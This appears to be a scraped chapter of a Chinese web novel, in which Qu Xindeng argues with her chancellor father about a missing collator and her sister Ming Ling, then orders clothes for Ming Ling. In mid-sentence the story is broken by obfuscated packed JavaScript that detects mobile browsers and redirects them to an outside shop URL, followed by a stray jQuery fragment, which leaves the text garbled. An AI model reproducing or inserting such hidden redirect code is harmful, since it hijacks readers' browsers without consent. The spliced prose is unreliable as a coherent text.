10. 为了明翎
    “尽量不要管……那就是说,还是可以管的了?”瞿心灯笑道。

    明用溪的眉头微皱,但是并没有责怪的眼神:“为父只是提醒你,这里头的水可是比你想着的深,绝非儿戏,不要不当一回事。”

    “绝非儿戏?听爹爹这么说,看来爹知道些什么?”瞿心灯面上好奇神色尽显,托着腮问,“公堂问审都还要理清了来龙去脉,秋后问斩还要道清桩桩罪名,爹爹来了我这,一句话也不解释就吓唬我,要我不要插手,只是哪门子的理?”

    “你……”明用溪叹了一口气。

    “爹爹莫不是觉得,不让我去找这位已然失踪的校书郎就是保护我?”瞿心灯挑眉勾唇。

    “这件事情本来也和你没有任何关系。”明用溪道。

    “于公而言,既然知道校书郎之死又异常而不管不顾,实为不仁。”

    “既然事关平川、腰围,那之间事情女儿还就更想管了,明知平川九万军民枉死,一夕之间北方王庭长驱直入我中原腹地,国难当头,麻木不仁,是为不忠不孝。父亲官拜丞相,可是要做这不忠不孝之人?”瞿心灯笑意盈盈。

    明用溪嗤笑:“你不是那样高尚的人。”

    被看出来了。

    瞿心灯平静道:“我那日坠崖之后,恰好碰到了押送柳淮进京的队伍,这个人我有用,想救。”

    “你竟一早就碰到他了?以你的聪慧,去找这校书郎的一路上想来已经想明白,校书郎之死后头关系错综复杂,很有可能事关世家之争、君臣之争,前面是个火坑,很麻烦。”明用溪中肯道。

    “但是,你又将翎儿拖进去做什么?”

    面对明用溪的问诘,瞿心灯淡然道:“女儿早已与父亲说过,来日女儿要是出了事,绝对会安顿好阿翎,若是真到了那一日,师父虽然不靠谱,但也还有些门路,届时我只是听天阁子里的瞿心灯,并不是秭仪明氏明琅。”

    “你……”明用溪差点被他气得心头一梗,“为父要和你说的是这个吗?”

    当然不是,瞿心灯自然是知道说些什么最能气到她爹的。

    但是……但是总要做些什么吧,就算不是为了平川枉死的那九万军民,就算不是为了那失落的万丈国土,就当只是为了明翎呢?

    “爹爹。”瞿心灯忽然出声,“你在我这里替阿翎做主,问过她吗?”

    “我这次回来,看见阿翎消瘦了不少。她从姚围回来,一身伤病,至今都未曾好全,这些事父亲看在眼中的。那父亲看不到的呢?父亲可知阿翎助手边疆如今已然有五年了,平川是她的第二个家,她在那里建功立业,挣了一身军功……”

    “不说这些了……”瞿心灯叹了口气,“父亲曾在当洲任职三年,三年之间官民和乐,彼时父亲回京任职,百姓夹到相送,一柄万民伞送到了父亲手上,父亲当时是如何感想。”

    “那把万民伞……有万钧之重……”明相闭了闭眼,不比瞿心灯多说,明用溪也懂得了她要说些什么。明翎在边疆的功绩……那些打出来的胜仗,那些受过的刀伤……他一一也是知道的。

    年轻骁勇的将军,二十不到的岁数,便官至四品,战死的消息传回京师的时候,朝野上下无不痛俶叹惋,他那一日上朝险些从宝阶上摔下来……

    好在最后是听天阁的达天听——瞿心灯的师父将他全须全尾的带了回来,要不然,他必然愧疚一生。

    “父亲不必忧心,女儿既然胆敢带着阿翎去,自然是会将她全须全尾带回来。”瞿心灯叹了一口气。

    父女二人的谈话就这样不欢而散,明相在她说完这句话之后什么都没有说便走了,瞿心灯知道,这是默许。

    “还偷听?滚出来。”瞿心灯懒懒翻了个身,角落里头传来极轻的一阵响动,明翎换了一身姑娘家的装束,捏着裙角从角落里头蹭了出来,瞿心灯刚想着翻过去,看见她穿的什么鬼东西后,又立马翻了过来。

    “裙摆不要掖在腰带里。”她伸手在趴在床沿边的脑壳上敲了一下。

    “裙摆太长,我穿不惯,耳铛挂着也很疼。”明翎捂着被敲的地方委委屈屈道。

    “都听见了?”

    “都听见了。”明翎点了点头,“天塌下来有姐姐扛着。”

    瞿心灯又敲了她一个栗子:“好好想想这么谢我。”

    翻过身去,瞿心灯浑身疼,和在比武场上让人用沙包拳头揍似的,面上任然是八方不动,然而苍白的双颊和额角豆大的汗珠还是出卖了她。

    “快把药喝了。”明翎看她脸色不对,有些焦灼,连叫外头守着的瞿夏过来。

    “喝了药就能立刻不疼了?”瞿心灯接过药,翻了个白眼,“夏夏,你那铺子里面,能做成衣吗?”

    “自然是能做的,虽还不是整个京中做得最好的,但是姑娘传递衣服后来都是我那小铺子里的绣娘做的,无事无价!”瞿夏的脸凑了过来,一脸骄傲。

    瞿心灯眉头一挑:“去取笔墨纸砚来,我画几个样子,你让绣娘照着做,回头送到府上来。”

    “好呀少主,你的尺寸吗?”瞿夏答应。

    “我也不知道是谁的尺寸……”瞿心灯笑,提笔在纸上勾勾画画,不多时候就交了一沓纸给了瞿夏,后者捻起来一看,嗬,好漂亮的衣样子,轻便又飒气,像是寻常穿的襦裙然而好几处又有些像是骑射服。

    “我知道是给谁的了!”瞿夏捂着嘴笑,明翎还一头雾水,直到第二天绣娘上门量体,她才后知后觉,这竟是做给自己的。

    早直到是做给自己的,早知道昨个就将瞿夏手里头的衣样子抢过来看看了,何苦她今个还要向绣娘悄悄打探。

    “姑娘站好,我们量一量身量。”绣娘脸上笑得花也似的,这高门大院的,装柜的就在一边看着,这一次量体叫她一个后头做衣裳的大师傅亲自来,必然是要慎重的。

    瞿心灯窝在花树下的美人榻上,一边挑着手上的料子一边和瞿夏连同另外几个绣娘聊着天,远远看着在花厅里面手足无措的明翎,心情颇好。

    她这身子骨还得养两天,明个再出去晃悠,要不然真熬不住。

    “这二姑娘身段可真了不得,就是硬了些,比寻常女子要高多了,肩膀也宽些。”有个绣娘道。

    “嗯。”瞿心灯懒懒应了一声,“这样正好看。再高些也好,不输气势。”

    “是,二姑娘长得英气,若是再高些,也压得住。”

    “嗯……看看绣样……”瞿心灯翻了几张绣样的样品,始终觉得缺了些什么。

    “可有大姑娘喜欢的样子?这儿有牡丹,菊花,蝴蝶,纹路有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682893|144289||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    缠枝花,如意纹,乞巧纹……”

    “都是些什么花儿虫儿的?”瞿心灯眉头一皱,“俗,俗不可耐。”

    几个绣娘面面相觑,一时不知道接些什么。

    “那小姐喜欢些什么样子?”

    “她的衣服……”瞿心灯遥遥指了指明翎,后者立马感知到了她动作,立即回头,便对上瞿心灯玩世不恭的笑。

    “她的就绣……竹子,青松……我想想看,或是苍鹰骏马,狻猊貔貅,这些都可以,你们看着绣吧。”瞿心灯道。

    “这……这些都是男人用的纹样……”一个绣娘道,铺子里头不是没有这样是绣样,只是听说今个是给女子制衣,没有带出来罢了。

    “女人用不得?你们照做就是了。”瞿夏发话了,几个绣娘便都按着瞿心灯的去做了。瞿夏凑在瞿心灯便是,蹭着她道:“都给二姑娘做了这么几身衣服了,少主不裁几件衣服穿穿?”

    “我的东西不都是你在准备吗?你看着办。”瞿心灯懒懒道,“不过浴佛节快到了,太后寿辰也在即,是要搞一身体面的衣服穿穿,你看着安排吧。”

    “包在我身上,少主要什么花样?”

    “嗯……要莲花,蜻蜓,还要如意纹宝瓶纹水波纹。”瞿心灯摸着下巴想了想。

    “好姐姐,你不是说着些花儿虫儿的都俗得慌吗?”

    “谁让我是天下第一大俗人呢?”瞿心灯挑眉看她。

    瞿夏咯咯咯笑了起来,掏出个小簿子,在上面刷刷几了好几笔,将簿子在瞿心灯面前一拜,贱兮兮道:“好少主,置办身漂亮衣裳可不便宜,你看我这店里都要入不敷出了,给二姑娘做衣服的工钱你给我结一下呢。”

    她笑着眨巴着眼睛,瞿心灯一愣,转而反应过来,感情这丫头在这等着她呢。

    “多少钱?”

    “这个数。”瞿夏伸出一只手比了比。

    “五十两?”瞿心灯挑眉,这丫头还不算是奸商。

    没想到瞿夏摇了摇头,斩钉截铁道:“是五百两。”

    瞿心灯眼睛猛一下就睁大了,决绝道:“这生意不做了,退了罢,退了罢……”

    她作势下了美人榻要走,瞿夏连忙拉住她的手:“好少主,你就让我赚了这一笔罢,求求你了,少主,姐姐,好姐姐,你最好了。”

    “你要不去抢?”瞿心灯气笑,却没有生气的意思,瞿夏这丫头自小就是财迷,这随便的人都知道,这丫头也有趣,只存不花,自己虽是开了个衣裳铺子,然而自己的衣服都是补了又穿穿了又补。

    她是瞿心灯和师傅捡的,难民的女儿,或许是过过苦日子,穷怕了,口袋里头多一个子,就多一份安全感。

    于是看在这么多年来瞿夏这丫头还有点良心没有收她的衣服的钱的份儿上,瞿心灯闭眼忍痛道:“让你一回,你知道钱在那里,自己去拿去。”

    “好嘞少主。”瞿夏眼前一亮,一溜烟兔子一般跑了,一边跑一边在嘴里念叨:“赚了赚了血赚啊啊啊啊啊啊啊啊啊啊啊……”

    这丫头。

    “少主,我的好姐姐,明天你去官署的腰牌我也给你伪造好了。”瞿夏取了银票,朝瞿心灯比了个心,带着绣娘飞一般的跑了。

    “走走走,主子给咱发红封了,回铺子里分去。”